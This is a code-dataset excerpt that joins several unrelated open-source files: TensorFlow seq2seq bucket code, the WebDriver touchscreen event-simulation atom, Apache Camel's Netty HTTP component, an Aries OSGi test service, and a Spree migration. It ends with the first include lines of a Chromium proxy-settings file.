weights: List of 1D batch-sized float-Tensors to weight the targets.
buckets: A list of pairs of (input size, output size) for each bucket.
seq2seq: A sequence-to-sequence model function; it takes 2 input that
agree with encoder_inputs and decoder_inputs, and returns a pair
consisting of outputs and states (as, e.g., basic_rnn_seq2seq).
softmax_loss_function: Function (labels, logits) -> loss-batch
to be used instead of the standard softmax (the default if this is None).
**Note that to avoid confusion, it is required for the function to accept
named arguments.**
per_example_loss: Boolean. If set, the returned loss will be a batch-sized
tensor of losses for each sequence in the batch. If unset, it will be
a scalar with the averaged loss from all examples.
name: Optional name for this operation, defaults to "model_with_buckets".
Returns:
A tuple of the form (outputs, losses), where:
outputs: The outputs for each bucket. Its j'th element consists of a list
of 2D Tensors. The shape of output tensors can be either
[batch_size x output_size] or [batch_size x num_decoder_symbols]
depending on the seq2seq model used.
losses: List of scalar Tensors, representing losses for each bucket, or,
if per_example_loss is set, a list of 1D batch-sized float Tensors.
Raises:
ValueError: If length of encoder_inputs, targets, or weights is smaller
than the largest (last) bucket.
"""
if len(encoder_inputs) < buckets[-1][0]:
raise ValueError("Length of encoder_inputs (%d) must be at least that of la"
"st bucket (%d)." % (len(encoder_inputs), buckets[-1][0]))
if len(targets) < buckets[-1][1]:
raise ValueError("Length of targets (%d) must be at least that of last "
"bucket (%d)." % (len(targets), buckets[-1][1]))
if len(weights) < buckets[-1][1]:
raise ValueError("Length of weights (%d) must be at least that of last "
"bucket (%d)." % (len(weights), buckets[-1][1]))
all_inputs = encoder_inputs + decoder_inputs + targets + weights
losses = []
outputs = []
with ops.name_scope(name, "model_with_buckets", all_inputs):
for j, bucket in enumerate(buckets):
with variable_scope.variable_scope(
variable_scope.get_variable_scope(), reuse=True if j > 0 else None):
bucket_outputs, _ = seq2seq(encoder_inputs[:bucket[0]],
decoder_inputs[:bucket[1]])
outputs.append(bucket_outputs)
if per_example_loss:
losses.append(
sequence_loss_by_example(
outputs[-1],
targets[:bucket[1]],
weights[:bucket[1]],
softmax_loss_function=softmax_loss_function))
else:
losses.append(
sequence_loss(
outputs[-1],
targets[:bucket[1]],
weights[:bucket[1]],
softmax_loss_function=softmax_loss_function))
return outputs, losses
| apache-2.0 |
SevInf/IEDriver | javascript/atoms/touchscreen.js | 13063 | // Copyright 2011 WebDriver committers
// Copyright 2011 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/**
* @fileoverview The file contains an abstraction of a touch screen
* for simulating atomic touchscreen actions.
*/
goog.provide('bot.Touchscreen');
goog.require('bot');
goog.require('bot.Device');
goog.require('bot.Error');
goog.require('bot.ErrorCode');
goog.require('bot.dom');
goog.require('bot.events.EventType');
goog.require('goog.math.Coordinate');
/**
* A TouchScreen that provides atomic touch actions. The metaphor
* for this abstraction is a finger moving above the touchscreen that
* can press and then release the touchscreen when specified.
*
* The touchscreen supports three actions: press, release, and move.
*
* @constructor
* @extends {bot.Device}
*/
bot.Touchscreen = function() {
goog.base(this);
/** @private {!goog.math.Coordinate} */
this.clientXY_ = new goog.math.Coordinate(0, 0);
/** @private {!goog.math.Coordinate} */
this.clientXY2_ = new goog.math.Coordinate(0, 0);
};
goog.inherits(bot.Touchscreen, bot.Device);
/** @private {boolean} */
bot.Touchscreen.prototype.hasMovedAfterPress_ = false;
/** @private {boolean} */
bot.Touchscreen.prototype.cancelled_ = false;
/** @private {number} */
bot.Touchscreen.prototype.touchIdentifier_ = 0;
/** @private {number} */
bot.Touchscreen.prototype.touchIdentifier2_ = 0;
/** @private {number} */
bot.Touchscreen.prototype.touchCounter_ = 2;
/**
* Press the touch screen. Pressing before moving results in an exception.
* Pressing while already pressed also results in an exception.
*
* @param {boolean=} opt_press2 Whether or not press the second finger during
* the press. If not defined or false, only the primary finger will be
* pressed.
*/
bot.Touchscreen.prototype.press = function(opt_press2) {
if (this.isPressed()) {
throw new bot.Error(bot.ErrorCode.UNKNOWN_ERROR,
'Cannot press touchscreen when already pressed.');
}
this.hasMovedAfterPress_ = false;
this.touchIdentifier_ = this.touchCounter_++;
if (opt_press2) {
this.touchIdentifier2_ = this.touchCounter_++;
}
if (bot.userAgent.IE_DOC_10) {
this.firePointerEvents_(bot.Touchscreen.fireSinglePressPointer_);
} else {
this.fireTouchEvent_(bot.events.EventType.TOUCHSTART);
}
};
/**
* Releases an element on a touchscreen. Releasing an element that is not
* pressed results in an exception.
*/
bot.Touchscreen.prototype.release = function() {
if (!this.isPressed()) {
throw new bot.Error(bot.ErrorCode.UNKNOWN_ERROR,
'Cannot release touchscreen when not already pressed.');
}
if (!bot.userAgent.IE_DOC_10) {
this.fireTouchReleaseEvents_();
} else if (!this.cancelled_) {
this.firePointerEvents_(bot.Touchscreen.fireSingleReleasePointer_);
}
bot.Device.clearPointerMap();
this.touchIdentifier_ = 0;
this.touchIdentifier2_ = 0;
this.cancelled_ = false;
};
/**
* Moves finger along the touchscreen.
*
* @param {!Element} element Element that is being pressed.
* @param {!goog.math.Coordinate} coords Coordinates relative to
* currentElement.
* @param {goog.math.Coordinate=} opt_coords2 Coordinates relative to
* currentElement.
*/
bot.Touchscreen.prototype.move = function(element, coords, opt_coords2) {
// The target element for touch actions is the original element. Hence, the
// element is set only when the touchscreen is not currently being pressed.
// The exception is IE10 which fire events on the moved to element.
var originalElement = this.getElement();
if (!this.isPressed() || bot.userAgent.IE_DOC_10) {
this.setElement(element);
}
var rect = bot.dom.getClientRect(element);
this.clientXY_.x = coords.x + rect.left;
this.clientXY_.y = coords.y + rect.top;
if (goog.isDef(opt_coords2)) {
this.clientXY2_.x = opt_coords2.x + rect.left;
this.clientXY2_.y = opt_coords2.y + rect.top;
}
if (this.isPressed()) {
if (!bot.userAgent.IE_DOC_10) {
this.hasMovedAfterPress_ = true;
this.fireTouchEvent_(bot.events.EventType.TOUCHMOVE);
} else if (!this.cancelled_) {
if (element != originalElement) {
this.hasMovedAfterPress_ = true;
}
if (bot.Touchscreen.hasMsTouchActionsEnabled_(element)) {
this.firePointerEvents_(bot.Touchscreen.fireSingleMovePointer_);
} else {
this.fireMSPointerEvent(bot.events.EventType.MSPOINTEROUT, coords, -1,
this.touchIdentifier_, MSPointerEvent.MSPOINTER_TYPE_TOUCH, true);
this.fireMouseEvent(bot.events.EventType.MOUSEOUT, coords, 0);
this.fireMSPointerEvent(bot.events.EventType.MSPOINTERCANCEL, coords, 0,
this.touchIdentifier_, MSPointerEvent.MSPOINTER_TYPE_TOUCH, true);
this.cancelled_ = true;
bot.Device.clearPointerMap();
}
}
}
};
/**
* Returns whether the touchscreen is currently pressed.
*
* @return {boolean} Whether the touchscreen is pressed.
*/
bot.Touchscreen.prototype.isPressed = function() {
return !!this.touchIdentifier_;
};
/**
* A helper function to fire touch events.
*
* @param {bot.events.EventType} type Event type.
* @private
*/
bot.Touchscreen.prototype.fireTouchEvent_ = function(type) {
if (!this.isPressed()) {
throw new bot.Error(bot.ErrorCode.UNKNOWN_ERROR,
'Should never fire event when touchscreen is not pressed.');
}
var touchIdentifier2;
var coords2;
if (this.touchIdentifier2_) {
touchIdentifier2 = this.touchIdentifier2_;
coords2 = this.clientXY2_;
}
this.fireTouchEvent(type, this.touchIdentifier_, this.clientXY_,
touchIdentifier2, coords2);
};
/**
* A helper function to fire touch events that occur on a release.
*
* @private
*/
bot.Touchscreen.prototype.fireTouchReleaseEvents_ = function() {
this.fireTouchEvent_(bot.events.EventType.TOUCHEND);
// If no movement occurred since press, TouchScreen.Release will fire the
// legacy mouse events: mousemove, mousedown, mouseup, and click
// after the touch events have been fired. The click button should be zero
// and only one mousemove should fire.
if (!this.hasMovedAfterPress_) {
this.fireMouseEvent(bot.events.EventType.MOUSEMOVE, this.clientXY_, 0);
var performFocus = this.fireMouseEvent(bot.events.EventType.MOUSEDOWN,
this.clientXY_, 0);
// Element gets focus after the mousedown event only if the mousedown was
// not cancelled.
if (performFocus) {
this.focusOnElement();
}
this.maybeToggleOption();
this.fireMouseEvent(bot.events.EventType.MOUSEUP, this.clientXY_, 0);
// Special click logic to follow links and to perform form actions.
if (!(bot.userAgent.WINDOWS_PHONE &&
bot.dom.isElement(this.getElement(), goog.dom.TagName.OPTION))) {
this.clickElement(this.clientXY_, /* button value */ 0);
}
}
};
/**
* A helper function to fire a sequence of Pointer events.
* @param {function(!bot.Touchscreen, !Element, !goog.math.Coordinate, number,
* boolean)} fireSinglePointer A function that fires a set of events for one
* finger.
* @private
*/
bot.Touchscreen.prototype.firePointerEvents_ = function(fireSinglePointer) {
fireSinglePointer(this, this.getElement(), this.clientXY_,
this.touchIdentifier_, true);
if (this.touchIdentifier2_ &&
bot.Touchscreen.hasMsTouchActionsEnabled_(this.getElement())) {
fireSinglePointer(this, this.getElement(),
this.clientXY2_, this.touchIdentifier2_, false);
}
};
/**
* A helper function to fire Pointer events related to a press.
*
* @param {!bot.Touchscreen} ts A touchscreen object.
* @param {!Element} element Element that is being pressed.
* @param {!goog.math.Coordinate} coords Coordinates relative to
* currentElement.
* @param {number} id The touch identifier.
* @param {boolean} isPrimary Whether the pointer represents the primary point
* of contact.
* @private
*/
bot.Touchscreen.fireSinglePressPointer_ = function(ts, element, coords, id,
isPrimary) {
// Fire a mousemove event.
ts.fireMouseEvent(bot.events.EventType.MOUSEMOVE, coords, 0);
// Fire a MSPointerOver and mouseover events.
ts.fireMSPointerEvent(bot.events.EventType.MSPOINTEROVER, coords, 0, id,
MSPointerEvent.MSPOINTER_TYPE_TOUCH, isPrimary);
ts.fireMouseEvent(bot.events.EventType.MOUSEOVER, coords, 0);
// Fire a MSPointerDown and mousedown events.
ts.fireMSPointerEvent(bot.events.EventType.MSPOINTERDOWN, coords, 0, id,
MSPointerEvent.MSPOINTER_TYPE_TOUCH, isPrimary);
// Element gets focus after the mousedown event.
if (ts.fireMouseEvent(bot.events.EventType.MOUSEDOWN, coords, 0)) {
// For selectable elements, IE 10 fires a MSGotPointerCapture event.
if (bot.dom.isSelectable(element)) {
ts.fireMSPointerEvent(bot.events.EventType.MSGOTPOINTERCAPTURE, coords, 0,
id, MSPointerEvent.MSPOINTER_TYPE_TOUCH, isPrimary);
}
ts.focusOnElement();
}
};
/**
* A helper function to fire Pointer events related to a release.
*
* @param {!bot.Touchscreen} ts A touchscreen object.
* @param {!Element} element Element that is being released.
* @param {!goog.math.Coordinate} coords Coordinates relative to
* currentElement.
* @param {number} id The touch identifier.
* @param {boolean} isPrimary Whether the pointer represents the primary point
* of contact.
* @private
*/
bot.Touchscreen.fireSingleReleasePointer_ = function(ts, element, coords, id,
isPrimary) {
// Fire a MSPointerUp and mouseup events.
ts.fireMSPointerEvent(bot.events.EventType.MSPOINTERUP, coords, 0, id,
MSPointerEvent.MSPOINTER_TYPE_TOUCH, isPrimary);
ts.fireMouseEvent(bot.events.EventType.MOUSEUP, coords, 0, null, 0, false,
id);
// Fire a click.
if (!ts.hasMovedAfterPress_) {
ts.maybeToggleOption();
if (!(bot.userAgent.WINDOWS_PHONE &&
bot.dom.isElement(element, goog.dom.TagName.OPTION))) {
ts.clickElement(ts.clientXY_, 0, id);
}
}
if (bot.dom.isSelectable(element)) {
// For selectable elements, IE 10 fires a MSLostPointerCapture event.
ts.fireMSPointerEvent(bot.events.EventType.MSLOSTPOINTERCAPTURE,
new goog.math.Coordinate(0, 0), 0, id,
MSPointerEvent.MSPOINTER_TYPE_TOUCH, false);
}
// Fire a MSPointerOut and mouseout events.
ts.fireMSPointerEvent(bot.events.EventType.MSPOINTEROUT, coords, -1, id,
MSPointerEvent.MSPOINTER_TYPE_TOUCH, isPrimary);
ts.fireMouseEvent(bot.events.EventType.MOUSEOUT, coords, 0, null, 0, false,
id);
};
/**
* A helper function to fire Pointer events related to a move.
*
* @param {!bot.Touchscreen} ts A touchscreen object.
* @param {!Element} element Element that is being moved.
* @param {!goog.math.Coordinate} coords Coordinates relative to
* currentElement.
* @param {number} id The touch identifier.
* @param {boolean} isPrimary Whether the pointer represents the primary point
* of contact.
* @private
*/
bot.Touchscreen.fireSingleMovePointer_ = function(ts, element, coords, id,
isPrimary) {
// Fire a MSPointerMove and mousemove events.
ts.fireMSPointerEvent(bot.events.EventType.MSPOINTERMOVE, coords, -1, id,
MSPointerEvent.MSPOINTER_TYPE_TOUCH, isPrimary);
ts.fireMouseEvent(bot.events.EventType.MOUSEMOVE, coords, 0, null, 0, false,
id);
};
/**
* A function that determines whether an element can be manipulated by the user.
* The msTouchAction style is queried and an element can be manipulated if the
* style value is none. If an element cannot be manipulated, then move gestures
* will result in a cancellation and multi-touch events will be prevented. Tap
* gestures will still be allowed. If not on IE 10, the function returns true.
*
* @param {!Element} element The element being manipulated.
* @return {boolean} Whether the element can be manipulated.
* @private
*/
bot.Touchscreen.hasMsTouchActionsEnabled_ = function(element) {
if (!bot.userAgent.IE_DOC_10) {
throw new Error('hasMsTouchActionsEnable should only be called from IE 10');
}
// Although this particular element may have a style indicating that it cannot
// receive javascript events, its parent may indicate otherwise.
if (bot.dom.getEffectiveStyle(element, 'ms-touch-action') == 'none') {
return true;
} else {
var parent = bot.dom.getParentElement(element);
return !!parent && bot.Touchscreen.hasMsTouchActionsEnabled_(parent);
}
};
| apache-2.0 |
rmarting/camel | components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpComponent.java | 20391 | /**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.camel.component.netty4.http;
import java.net.URI;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import org.apache.camel.CamelContext;
import org.apache.camel.Consumer;
import org.apache.camel.Endpoint;
import org.apache.camel.Processor;
import org.apache.camel.Producer;
import org.apache.camel.SSLContextParametersAware;
import org.apache.camel.component.netty4.NettyComponent;
import org.apache.camel.component.netty4.NettyConfiguration;
import org.apache.camel.component.netty4.NettyServerBootstrapConfiguration;
import org.apache.camel.component.netty4.http.handlers.HttpServerMultiplexChannelHandler;
import org.apache.camel.spi.HeaderFilterStrategy;
import org.apache.camel.spi.HeaderFilterStrategyAware;
import org.apache.camel.spi.Metadata;
import org.apache.camel.spi.RestApiConsumerFactory;
import org.apache.camel.spi.RestConfiguration;
import org.apache.camel.spi.RestConsumerFactory;
import org.apache.camel.spi.RestProducerFactory;
import org.apache.camel.util.FileUtil;
import org.apache.camel.util.HostUtils;
import org.apache.camel.util.IntrospectionSupport;
import org.apache.camel.util.ObjectHelper;
import org.apache.camel.util.ServiceHelper;
import org.apache.camel.util.URISupport;
import org.apache.camel.util.UnsafeUriCharactersEncoder;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* Netty HTTP based component.
*/
public class NettyHttpComponent extends NettyComponent implements HeaderFilterStrategyAware, RestConsumerFactory, RestApiConsumerFactory, RestProducerFactory, SSLContextParametersAware {
private static final Logger LOG = LoggerFactory.getLogger(NettyHttpComponent.class);
// factories which is created by this component and therefore manage their lifecycles
private final Map<Integer, HttpServerConsumerChannelFactory> multiplexChannelHandlers = new HashMap<Integer, HttpServerConsumerChannelFactory>();
private final Map<String, HttpServerBootstrapFactory> bootstrapFactories = new HashMap<String, HttpServerBootstrapFactory>();
@Metadata(label = "advanced")
private NettyHttpBinding nettyHttpBinding;
@Metadata(label = "advanced")
private HeaderFilterStrategy headerFilterStrategy;
@Metadata(label = "security")
private NettyHttpSecurityConfiguration securityConfiguration;
@Metadata(label = "security", defaultValue = "false")
private boolean useGlobalSslContextParameters;
public NettyHttpComponent() {
// use the http configuration and filter strategy
super(NettyHttpEndpoint.class);
setConfiguration(new NettyHttpConfiguration());
setHeaderFilterStrategy(new NettyHttpHeaderFilterStrategy());
// use the binding that supports Rest DSL
setNettyHttpBinding(new RestNettyHttpBinding(getHeaderFilterStrategy()));
}
@Override
protected Endpoint createEndpoint(String uri, String remaining, Map<String, Object> parameters) throws Exception {
NettyConfiguration config;
if (getConfiguration() != null) {
config = getConfiguration().copy();
} else {
config = new NettyHttpConfiguration();
}
HeaderFilterStrategy headerFilterStrategy = resolveAndRemoveReferenceParameter(parameters, "headerFilterStrategy", HeaderFilterStrategy.class);
// merge any custom bootstrap configuration on the config
NettyServerBootstrapConfiguration bootstrapConfiguration = resolveAndRemoveReferenceParameter(parameters, "bootstrapConfiguration", NettyServerBootstrapConfiguration.class);
if (bootstrapConfiguration != null) {
Map<String, Object> options = new HashMap<String, Object>();
if (IntrospectionSupport.getProperties(bootstrapConfiguration, options, null, false)) {
IntrospectionSupport.setProperties(getCamelContext().getTypeConverter(), config, options);
}
}
// any custom security configuration
NettyHttpSecurityConfiguration securityConfiguration = resolveAndRemoveReferenceParameter(parameters, "securityConfiguration", NettyHttpSecurityConfiguration.class);
Map<String, Object> securityOptions = IntrospectionSupport.extractProperties(parameters, "securityConfiguration.");
NettyHttpBinding bindingFromUri = resolveAndRemoveReferenceParameter(parameters, "nettyHttpBinding", NettyHttpBinding.class);
// are we using a shared http server?
int sharedPort = -1;
NettySharedHttpServer shared = resolveAndRemoveReferenceParameter(parameters, "nettySharedHttpServer", NettySharedHttpServer.class);
if (shared != null) {
// use port number from the shared http server
LOG.debug("Using NettySharedHttpServer: {} with port: {}", shared, shared.getPort());
sharedPort = shared.getPort();
}
// we must include the protocol in the remaining
boolean hasProtocol = remaining.startsWith("http://") || remaining.startsWith("http:")
|| remaining.startsWith("https://") || remaining.startsWith("https:");
if (!hasProtocol) {
// http is the default protocol
remaining = "http://" + remaining;
}
boolean hasSlash = remaining.startsWith("http://") || remaining.startsWith("https://");
if (!hasSlash) {
// must have double slash after protocol
if (remaining.startsWith("http:")) {
remaining = "http://" + remaining.substring(5);
} else {
remaining = "https://" + remaining.substring(6);
}
}
LOG.debug("Netty http url: {}", remaining);
// set port on configuration which is either shared or using default values
if (sharedPort != -1) {
config.setPort(sharedPort);
} else if (config.getPort() == -1 || config.getPort() == 0) {
if (remaining.startsWith("http:")) {
config.setPort(80);
} else if (remaining.startsWith("https:")) {
config.setPort(443);
}
}
if (config.getPort() == -1) {
throw new IllegalArgumentException("Port number must be configured");
}
// configure configuration
config = parseConfiguration(config, remaining, parameters);
setProperties(config, parameters);
// set default ssl config
if (config.getSslContextParameters() == null) {
config.setSslContextParameters(retrieveGlobalSslContextParameters());
}
// validate config
config.validateConfiguration();
// create the address uri which includes the remainder parameters (which
// is not configuration parameters for this component)
URI u = new URI(UnsafeUriCharactersEncoder.encodeHttpURI(remaining));
String addressUri = URISupport.createRemainingURI(u, parameters).toString();
NettyHttpEndpoint answer = new NettyHttpEndpoint(addressUri, this, config);
// must use a copy of the binding on the endpoint to avoid sharing same
// instance that can cause side-effects
if (answer.getNettyHttpBinding() == null) {
Object binding = null;
if (bindingFromUri != null) {
binding = bindingFromUri;
} else {
binding = getNettyHttpBinding();
}
if (binding instanceof RestNettyHttpBinding) {
NettyHttpBinding copy = ((RestNettyHttpBinding) binding).copy();
answer.setNettyHttpBinding(copy);
} else if (binding instanceof DefaultNettyHttpBinding) {
NettyHttpBinding copy = ((DefaultNettyHttpBinding) binding).copy();
answer.setNettyHttpBinding(copy);
}
}
if (headerFilterStrategy != null) {
answer.setHeaderFilterStrategy(headerFilterStrategy);
} else if (answer.getHeaderFilterStrategy() == null) {
answer.setHeaderFilterStrategy(getHeaderFilterStrategy());
}
if (securityConfiguration != null) {
answer.setSecurityConfiguration(securityConfiguration);
} else if (answer.getSecurityConfiguration() == null) {
answer.setSecurityConfiguration(getSecurityConfiguration());
}
// configure any security options
if (securityOptions != null && !securityOptions.isEmpty()) {
securityConfiguration = answer.getSecurityConfiguration();
if (securityConfiguration == null) {
securityConfiguration = new NettyHttpSecurityConfiguration();
answer.setSecurityConfiguration(securityConfiguration);
}
setProperties(securityConfiguration, securityOptions);
validateParameters(uri, securityOptions, null);
}
answer.setNettySharedHttpServer(shared);
return answer;
}
@Override
protected NettyConfiguration parseConfiguration(NettyConfiguration configuration, String remaining, Map<String, Object> parameters) throws Exception {
// ensure uri is encoded to be valid
String safe = UnsafeUriCharactersEncoder.encodeHttpURI(remaining);
URI uri = new URI(safe);
configuration.parseURI(uri, parameters, this, "http", "https");
// force using tcp as the underlying transport
configuration.setProtocol("tcp");
configuration.setTextline(false);
if (configuration instanceof NettyHttpConfiguration) {
((NettyHttpConfiguration) configuration).setPath(uri.getPath());
}
return configuration;
}
public NettyHttpBinding getNettyHttpBinding() {
return nettyHttpBinding;
}
/**
* To use a custom org.apache.camel.component.netty4.http.NettyHttpBinding for binding to/from Netty and Camel Message API.
*/
public void setNettyHttpBinding(NettyHttpBinding nettyHttpBinding) {
this.nettyHttpBinding = nettyHttpBinding;
}
@Override
public NettyHttpConfiguration getConfiguration() {
return (NettyHttpConfiguration) super.getConfiguration();
}
public void setConfiguration(NettyHttpConfiguration configuration) {
super.setConfiguration(configuration);
}
public HeaderFilterStrategy getHeaderFilterStrategy() {
return headerFilterStrategy;
}
/**
* To use a custom org.apache.camel.spi.HeaderFilterStrategy to filter headers.
*/
public void setHeaderFilterStrategy(HeaderFilterStrategy headerFilterStrategy) {
this.headerFilterStrategy = headerFilterStrategy;
}
public NettyHttpSecurityConfiguration getSecurityConfiguration() {
return securityConfiguration;
}
/**
* Refers to a org.apache.camel.component.netty4.http.NettyHttpSecurityConfiguration for configuring secure web resources.
*/
public void setSecurityConfiguration(NettyHttpSecurityConfiguration securityConfiguration) {
this.securityConfiguration = securityConfiguration;
}
@Override
public boolean isUseGlobalSslContextParameters() {
return this.useGlobalSslContextParameters;
}
/**
* Enable usage of global SSL context parameters.
*/
@Override
public void setUseGlobalSslContextParameters(boolean useGlobalSslContextParameters) {
this.useGlobalSslContextParameters = useGlobalSslContextParameters;
}
public synchronized HttpServerConsumerChannelFactory getMultiplexChannelHandler(int port) {
HttpServerConsumerChannelFactory answer = multiplexChannelHandlers.get(port);
if (answer == null) {
answer = new HttpServerMultiplexChannelHandler();
answer.init(port);
multiplexChannelHandlers.put(port, answer);
}
return answer;
}
protected synchronized HttpServerBootstrapFactory getOrCreateHttpNettyServerBootstrapFactory(NettyHttpConsumer consumer) {
String key = consumer.getConfiguration().getAddress();
HttpServerBootstrapFactory answer = bootstrapFactories.get(key);
if (answer == null) {
HttpServerConsumerChannelFactory channelFactory = getMultiplexChannelHandler(consumer.getConfiguration().getPort());
answer = new HttpServerBootstrapFactory(channelFactory);
answer.init(getCamelContext(), consumer.getConfiguration(), new HttpServerInitializerFactory(consumer));
bootstrapFactories.put(key, answer);
}
return answer;
}
@Override
public Consumer createConsumer(CamelContext camelContext, Processor processor, String verb, String basePath, String uriTemplate,
String consumes, String produces, RestConfiguration configuration, Map<String, Object> parameters) throws Exception {
return doCreateConsumer(camelContext, processor, verb, basePath, uriTemplate, consumes, produces, configuration, parameters, false);
}
@Override
public Consumer createApiConsumer(CamelContext camelContext, Processor processor, String contextPath,
RestConfiguration configuration, Map<String, Object> parameters) throws Exception {
// reuse the createConsumer method we already have. The api need to use GET and match on uri prefix
return doCreateConsumer(camelContext, processor, "GET", contextPath, null, null, null, configuration, parameters, true);
}
Consumer doCreateConsumer(CamelContext camelContext, Processor processor, String verb, String basePath, String uriTemplate,
String consumes, String produces, RestConfiguration configuration, Map<String, Object> parameters, boolean api) throws Exception {
String path = basePath;
if (uriTemplate != null) {
// make sure to avoid double slashes
if (uriTemplate.startsWith("/")) {
path = path + uriTemplate;
} else {
path = path + "/" + uriTemplate;
}
}
path = FileUtil.stripLeadingSeparator(path);
String scheme = "http";
String host = "";
int port = 0;
// if no explicit port/host configured, then use port from rest configuration
RestConfiguration config = configuration;
if (config == null) {
config = camelContext.getRestConfiguration("netty4-http", true);
}
if (config.getScheme() != null) {
scheme = config.getScheme();
}
if (config.getHost() != null) {
host = config.getHost();
}
int num = config.getPort();
if (num > 0) {
port = num;
}
// prefix path with context-path if configured in rest-dsl configuration
String contextPath = config.getContextPath();
if (ObjectHelper.isNotEmpty(contextPath)) {
contextPath = FileUtil.stripTrailingSeparator(contextPath);
contextPath = FileUtil.stripLeadingSeparator(contextPath);
if (ObjectHelper.isNotEmpty(contextPath)) {
path = contextPath + "/" + path;
}
}
// if no explicit hostname set then resolve the hostname
if (ObjectHelper.isEmpty(host)) {
if (config.getRestHostNameResolver() == RestConfiguration.RestHostNameResolver.allLocalIp) {
host = "0.0.0.0";
} else if (config.getRestHostNameResolver() == RestConfiguration.RestHostNameResolver.localHostName) {
host = HostUtils.getLocalHostName();
} else if (config.getRestHostNameResolver() == RestConfiguration.RestHostNameResolver.localIp) {
host = HostUtils.getLocalIp();
}
}
Map<String, Object> map = new HashMap<String, Object>();
// build query string, and append any endpoint configuration properties
if (config.getComponent() == null || config.getComponent().equals("netty4-http")) {
// setup endpoint options
if (config.getEndpointProperties() != null && !config.getEndpointProperties().isEmpty()) {
map.putAll(config.getEndpointProperties());
}
}
// allow HTTP Options as we want to handle CORS in rest-dsl
boolean cors = config.isEnableCORS();
String query = URISupport.createQueryString(map);
String url;
if (api) {
url = "netty4-http:%s://%s:%s/%s?matchOnUriPrefix=true&httpMethodRestrict=%s";
} else {
url = "netty4-http:%s://%s:%s/%s?httpMethodRestrict=%s";
}
// must use upper case for restrict
String restrict = verb.toUpperCase(Locale.US);
if (cors) {
restrict += ",OPTIONS";
}
// get the endpoint
url = String.format(url, scheme, host, port, path, restrict);
if (!query.isEmpty()) {
url = url + "&" + query;
}
NettyHttpEndpoint endpoint = camelContext.getEndpoint(url, NettyHttpEndpoint.class);
setProperties(camelContext, endpoint, parameters);
// configure consumer properties
Consumer consumer = endpoint.createConsumer(processor);
if (config.getConsumerProperties() != null && !config.getConsumerProperties().isEmpty()) {
setProperties(camelContext, consumer, config.getConsumerProperties());
}
return consumer;
}
@Override
public Producer createProducer(CamelContext camelContext, String host,
String verb, String basePath, String uriTemplate, String queryParameters,
String consumes, String produces, Map<String, Object> parameters) throws Exception {
// avoid leading slash
basePath = FileUtil.stripLeadingSeparator(basePath);
uriTemplate = FileUtil.stripLeadingSeparator(uriTemplate);
// get the endpoint
String url = "netty4-http:" + host;
if (!ObjectHelper.isEmpty(basePath)) {
url += "/" + basePath;
}
if (!ObjectHelper.isEmpty(uriTemplate)) {
url += "/" + uriTemplate;
}
NettyHttpEndpoint endpoint = camelContext.getEndpoint(url, NettyHttpEndpoint.class);
if (parameters != null && !parameters.isEmpty()) {
setProperties(camelContext, endpoint, parameters);
}
String path = uriTemplate != null ? uriTemplate : basePath;
endpoint.setHeaderFilterStrategy(new NettyHttpRestHeaderFilterStrategy(path, queryParameters));
// the endpoint must be started before creating the producer
ServiceHelper.startService(endpoint);
return endpoint.createProducer();
}
@Override
protected void doStart() throws Exception {
super.doStart();
RestConfiguration config = getCamelContext().getRestConfiguration("netty4-http", true);
// configure additional options on netty4-http configuration
if (config.getComponentProperties() != null && !config.getComponentProperties().isEmpty()) {
setProperties(this, config.getComponentProperties());
}
}
@Override
protected void doStop() throws Exception {
super.doStop();
ServiceHelper.stopServices(bootstrapFactories.values());
bootstrapFactories.clear();
ServiceHelper.stopService(multiplexChannelHandlers.values());
multiplexChannelHandlers.clear();
}
}
| apache-2.0 |
maxbruecken/aries | subsystem/subsystem-itests/src/test/bundles/cmContentBundleZ/org/apache/aries/subsystem/itests/cmcontent/impl/BarManagedService.java | 870 | package org.apache.aries.subsystem.itests.cmcontent.impl;
import java.util.Dictionary;
import java.util.Hashtable;
import org.osgi.framework.BundleContext;
import org.osgi.framework.Constants;
import org.osgi.service.cm.ConfigurationException;
import org.osgi.service.cm.ManagedService;
public class BarManagedService implements ManagedService {
private final BundleContext bundleContext;
public BarManagedService(BundleContext context) {
bundleContext = context;
}
@Override
public void updated(Dictionary<String, ?> p) throws ConfigurationException {
if ("test".equals(p.get("configVal"))) {
Dictionary<String, Object> props = new Hashtable<String, Object>();
props.put("test.pid", p.get(Constants.SERVICE_PID));
bundleContext.registerService(String.class, "Bar!", props);
}
}
}
| apache-2.0 |
vinayvinsol/spree | core/db/migrate/20131118183431_add_line_item_id_to_spree_inventory_units.rb | 810 | class AddLineItemIdToSpreeInventoryUnits < ActiveRecord::Migration[4.2]
def change
# Stores running the product-assembly extension already have a line_item_id column
unless column_exists? Spree::InventoryUnit.table_name, :line_item_id
add_column :spree_inventory_units, :line_item_id, :integer
add_index :spree_inventory_units, :line_item_id
shipments = Spree::Shipment.includes(:inventory_units, :order)
shipments.find_each do |shipment|
shipment.inventory_units.group_by(&:variant_id).each do |variant_id, units|
line_item = shipment.order.line_items.find_by(variant_id: variant_id)
next unless line_item
Spree::InventoryUnit.where(id: units.map(&:id)).update_all(line_item_id: line_item.id)
end
end
end
end
end
| bsd-3-clause |
sencha/chromium-spacewalk | chrome/browser/net/firefox_proxy_settings.cc | 11187 | // Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/net/firefox_proxy_settings.h"
#include "base/file_util.h"
#include "base/files/file_path.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/string_tokenizer.h"
#include "base/strings/string_util.h"
